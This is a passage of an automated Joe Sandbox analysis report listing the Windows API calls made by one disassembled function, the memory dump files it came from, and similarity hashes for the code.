                                                      • Part of subcall function 00007FF6BF3DD3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6BF3DD46E
                                                      • Part of subcall function 00007FF6BF3DD3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6BF3DD485
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD4EE
                                                      • Part of subcall function 00007FF6BF3DD3F0: iswspace.MSVCRT ref: 00007FF6BF3DD54D
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD569
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD58C
                                                    • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3FA1FB
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$Heap$AllocCloseOpenProcessiswspace
                                                    • String ID: Software\Classes
                                                    • API String ID: 2714550308-1656466771
                                                    • Opcode ID: 8d4a83688f0bdb6c4652951bc114003fef2692198ab2fb548b80d57547a1bced
                                                    • Instruction ID: babf5aff89c42f5fbfb668d32170c61017a60d2b7e24eb1c718a71326665204d
                                                    • Opcode Fuzzy Hash: 8d4a83688f0bdb6c4652951bc114003fef2692198ab2fb548b80d57547a1bced
                                                    • Instruction Fuzzy Hash: A2418E22A19B5281EA40DB5ED444439A3A4FB88BD0F518131DF5E8B7F1EF3DE852C380